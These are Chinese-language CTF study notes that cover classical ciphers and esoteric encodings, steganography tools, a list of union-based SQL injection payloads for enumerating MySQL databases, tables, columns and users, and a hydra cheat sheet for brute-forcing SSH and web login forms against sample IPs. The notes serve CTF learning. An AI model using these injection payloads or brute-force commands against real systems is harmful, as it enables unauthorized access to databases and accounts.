南邮CTF了解一下~

密码学

JSfuck
  • 标志:以[]开头,以()结尾
  • 解密:JSfuck or 浏览器F12打开Console控制台,粘贴密文按回车即可解密

    AAencode

    AAencode加解密

    PPencode
    1. length q closedir vec and print chr ord q open no and print chr ord q or no and print chr ord q sin s and print chr ord qw q ne q and print chr ord q lt eval and print chr ord q q eq and print chr length q q ge getc getpriority printf split q and print chr ord qw q fcntl q and print chr ord qw q lc q and print chr ord q each le and print chr ord qw q ge q and print chr length q q readdir ge chop link syscall chroot binmode for length setservent dbmopen uc getnetbyname getpwnam rename stat study pack q and print chr ord q open no and print chr ord q split s and print chr oct hex ord uc q my m and print chr ord q ge log and print chr ord qw q ne q and print chr ord q oct no and print chr ord q pop and print chr ord qw q die q and print chr ord q ge log and print chr oct oct hex ord q ref or and print chr length q q ge getc getpriority printf split q

    菜鸟教程在线编译工具

    Brainfuck
  • Brainfuck是一种极小化的计算机语言,只有八种符号,所有的操作都由这八种符号(> < + - . , [ ])的组合来完成。

  • 解密:Brainfuck

    ASCII

    小记 - CTF - 图1

    ADFGX
  • ADFGX密码(ADFGX Cipher)结合了改良过的Polybius方格替代密码与单行换位密码的矩阵加密密码,使用了5个合理的密文字母:A,D,F,G,X,这些字母之所以这样选择是因为当转译成摩尔斯电码(ADFGX密码是德国军队在一战发明使用的密码)不易混淆;
    (明文FOX —加密-> FA DX FF )

小记 - CTF - 图2

Unicode/URL
  • Unicode/URL解码

    Base32/64编码
  • 原理:base64是一种基于64个可打印字符来表示二进制数据的表示方法。由于2的6次方等于64,所以每6个比特为一个单元,对应某个可打印字符。三个字节有24个比特,对应4个base64单元,即3个字节可表示4个可打印字符。在base64中的可打印字符包括A-Z、a-z、0-9,+、/,共64个可打印字符;如果要编码的字节数不能被3整除,最后会多出1个或2个字节,那么可以使用下面的方法进行处理:先使用0字节值在末尾补足,使其能够被3整除,然后再进行base64的编码。在编码后的base64文本后加上一个或两个“=”号,代表补足的字节数。也就是说,当最后剩余一个八位字节(一个byte)时,最后6位的base64字节块有四位是0值,最后附加上两个等号;如果最后剩余两个八位字节(2byte)时,最后一个6位的base字节块有两位是0值,最后附加一个等号

  • 标志:等号作后缀,数目可能为0/1/2个
  • 加密:文本 ->ASCII编码 ->转换二进制 ->计算索引 ->得到Base64编码
    例:文本M ->ASCII编码为77 ->十进制转化成二进制为01001101 ->即索引值19 ->Base64编码为T
  • 解密:

小记 - CTF - 图3

盲文

小记 - CTF - 图4

颜文字
  • jjencode/aaencode
    • jjencode -> 将JS代码转换成只有符号的字符串
    • aaencode -> 将JS代码转换成常用的网络表情
  • 解密:浏览器F12打开Console控制台,粘贴密文按回车即可解密

    九宫格
  • 2个数字为一组,对应手机九宫格上的字母

    敲击码

    小记 - CTF - 图5

    栅栏密码
  • 栅栏密码(Rail-fence Cipher)就是把要加密的明文分成N个一组,然后把每组的第1个字符组合,每组第2个字符组合…每组的第N(最后一个分组可能不足N个)个字符组合,最后把他们全部连接起来就是密文

    置换密码

    置换密码在线字典

    凯撒密码
  • 凯撒密码(Caesar Cipher或称恺撒加密、恺撒变换、变换加密、位移加密)通过把字母移动一定的位数来实现加密和解密。明文中的所有字母都在字母表上向后(或向前)按照一个固定数目进行偏移后被替换成密文。

    摩斯密码

    摩斯密码在线加解密
    小记 - CTF - 图6

    猪圈密码
  • 猪圈密码(Pigpen Cipher或称朱高密码、共济会密码或共济会员密码),是一种以格子为基础的简单替代式密码
    小记 - CTF - 图7
    小记 - CTF - 图8
    小记 - CTF - 图9

    维吉尼亚密码
  • 维吉尼亚密码(Vigenère Cipher)是在单一恺撒密码的基础上扩展出多表代换密码,根据密钥(当密钥长度小于明文长度时可以循环使用)来决定用哪一行的密表来进行替换,以此来对抗字频统计

  • 密钥(循环使用,密钥越长相对破解难度越大)
  • 加密:第一行为明文字母,第一列为密钥字母 -> 明文字母列和密钥字母行的交点就是密文字母
    (如明文字母T列 和 密钥字母C行 -> 交点为 密文V)

小记 - CTF - 图10

传送门
  1. 查看当前使用数据库
    • and 1=2 union select 1,database()
  2. 爆表
    • union select 1,table_name from information_schema.tables where table_schema=’当前库名’
  3. 查看当前表中字段
    • union select 1,column_name from information_schema.columns where table_schema=’当前库名’
  4. 爆字段内容
    • and 1=1 union select 1,2
  5. 查看列
    • union select 1,列名 from 表名
  6. 爆出所有库
  • union select 1,schema_name from information_schema.schemata
  • and 1=2 union select 1,group_concat(SCHEMA_NAME) from information_schema.schemata ```

    3.工具
  • SQLmap -> sql自动注入(需要Python2.7环境)

    4. 其他

    (1) 猜解字段

    ```

  • order by a
  • order by b —> 若发现a正常b不正常,则字段数是a
    1. <a name="1cU9B"></a>
    2. ###### (2)爆字段位置
    and 1=2 union select 1,2 select * from db WHERE id= x and 1=2 Union select 1,2,3,4,5
    1. <a name="LlMF6"></a>
    2. ###### (3)查看mysql基本信息
  • and 1=2 union select 1,version() ——- 查看数据库版本
  • and 1=2 union select 1,database() —— 查看当前使用的数据库
  • and 1=2 union select 1,user() ———查看当前数据库用户
  • and ord(mid(user(),1,1))=114 ——— 判断用户是否为root ```
    (4)单独爆库
    ```sql 第一个数据库
  • and 1=2 union select 1,SCHEMA_NAME from information_schema.SCHEMATA limit 0,1 第二个数据库
  • and 1=2 union select 1,SCHEMA_NAME from information_schema.SCHEMATA limit 1,1 第三个数据库
  • and 1=2 union select 1,SCHEMA_NAME from information_schema.SCHEMATA limit 2,2 第四个数据库
  • and 1=2 union select 1,SCHEMA_NAME from information_schema.SCHEMATA limit 3,3 第五个数据库
  • and 1=2 union select 1,SCHEMA_NAME from information_schema.SCHEMATA limit 4, ```

    隐写术

    1.工具
  • Stegosolve:图片分析

    • File Format 分析图片
    • Frame Browser 逐帧查看
  • Winhex:二进制分析
  • Cool Edit Pro:音频分析
  • MP3stego:音频分析
  • binwalk:文件隐写分析
  • F5-steganography:F5隐写
  • ZipCenOp:伪加密
  • Crunch:字典生成器
  • hydra:爆破

    2.部分工具用法

    binwalk

    默认分离
    binwalk -e xxx.xxx
    dd命令分离
    # dd if=xxx.xx of=a.xxx skip=12345 bs=1
    [ if是指定输入文件,of是指定输出文件,skip是指定从输入文件开头跳过12345个块后再开始复制,bs设置每次读写块的大小为1字节 ]

    MP3stego

    Decode -X -P password xxx.mp3

    1. 加密:encode -E (里面放要加密的txt信息) -P (密码) (需要将密码放入的wav文件) (生产的mp3文件)
    2. 解密:decode -X -P (密码)(要解密的文件)

    F5-steganography

    java Extract xxx.jpg -p password

    ZipCenOp

    伪加密解压命令java -jar ZipCenOp.jar r xxxx.zip

    Crunch

    Crunch字典生成器路径:/usr/share/crunch
    crunsh MinSize MaxSize 字典元素(如123456) -o 存放文本名(a.txt)

    hydra
    1. #命令
    2. nmap扫一波端口
    3. hydra -l root(用户名,或-L+字典) -P unix_passwords.txt(字典) IP -v ssh(服务)
    4. 例:hydra -l admin -P unix_passwords.txt 172.26.16.128 */wp-login.php:log=^USER^&pwd=^PASS^ :"login_error"
    5. 字典路径:/usr/share/wordlists/
    6. /usr/share/wordlists/metasploit
    7. unix_passwords.txt //小字典
    8. password.lst //大字典
    9. unix_users.txt //用户名
    10. windows常用用户名 administrator/admin
    11. -R 修复之前使用的aborted/crashed session
    12. -S 执行SSL(Secure Socket Layer)连接
    13. -s Port 使用非默认服务器端口而是其他端口时,指定其端口
    14. -l Login 已经获取登录ID的情况下输入登录ID
    15. -L FILE 未获取登录ID情况下指定用于暴力破解的文件(需要指出全路径)
    16. -p Pass 已经获取登录密码的情况下输入登录密码
    17. -P FILE 未获取登录密码的情况下指定用于暴力破解的文件(需要指出全路径)
    18. -x MIN:MAX:CHARSET 暴力破解时不指定文件,而生成可满足指定字符集和最短、最长长度条件的密码来暴力破解
    19. -C FILE 用于指定由冒号区分形式的暴力破解专用文件,即ID:Password形式
    20. -M FILE指定实施并列攻击的文件服务器的目录文件
    21. -o FILESTDOUT的形式输出结果值
    22. -f 查找到第一个可以使用的ID和密码的时候停止破解
    23. -t TASKS 指定并列连接数(默认值:16
    24. -w 指定每个线程的回应时间(Waittime)(默认值:32秒)
    25. -4/6 指定IPv4/IPv6(默认值:IPv4)
    26. -v/-V显示详细信息
    27. -U 查看服务器组件使用明细
  • get方式提交,破解web登录:
    hydra -l 用户名 -p 密码字典 -t 线程 -vV -e ns ip http-get/admin/
    hydra -l 用户名 -p 密码字典 -t 线程 -vV -e ns -f ip http-get/admin/index.PHP

  • post方式提交,破解web登录:

    1. hydra -l 用户名 -P 密码字典 -o 保存文本名 -V -f -s 目标端口 ip 协议 "/login.php:<表单用户名属性>=^USER^&<表单密码属性>^PASS^:<返回错误信息>"
    2. hydra -l admin -P unix_passwords.txt -o ok.lst -v -f -s 8253 172.26.16.7 http-post-form "/login.php:username=^USER^&password=^PASS^:password error"
    3. 参数说明:
    4. -l 用户名是admin,-P 字典password.lst,-o 保存为out.txt
    5. -f 当破解了一个密码就停止
    6. -s 目标端口,默认80
    7. 目标ip 172.26.16.7
    8. http-post-form 表示破解是采用httppost方式提交的表单密码破解
    9. "/login.php:username=^USER^&password=^PASS^:password error"
    10. "<url路径>:<表单用户名属性>=^USER^&<表单密码属性>^PASS^:<返回错误信息>"
    11. <url路径> /login.php
    12. <表单参数> F12查看表单属性(如username,password),并用^USER^ ^PASS^代替
    13. <返回值> 可以定义登录正确的返回值S=,也可以定义登录错误的返回值F=,默认是F=
    14. <url路径>:<表单参数>:<返回值>

    3.常见文件格式
  • MS Word/Excel (xls.or.doc),文件头:D0CF11E0

  • JPEG (jpg),文件头:FFD8FFE0 文件尾:FF D9
  • PNG (png),文件头:89504E47
  • GIF (gif),GIF89A 文件头:47494638
  • XML (xml),文件头:3C3F786D6C
  • HTML (html),文件头:68746D6C3E
  • MS Word/Excel (xls.or.doc),文件头:D0CF11E0
  • MS Access (mdb),文件头:5374616E64617264204A
  • Adobe Acrobat (pdf),文件头:255044462D312E
  • Windows Password (pwl),文件头:E3828596
  • ZIP Archive (zip),文件头:504B0304
  • RAR Archive (rar),文件头:52617221
  • Wave (wav),文件头:57415645
  • AVI (avi),文件头:41564920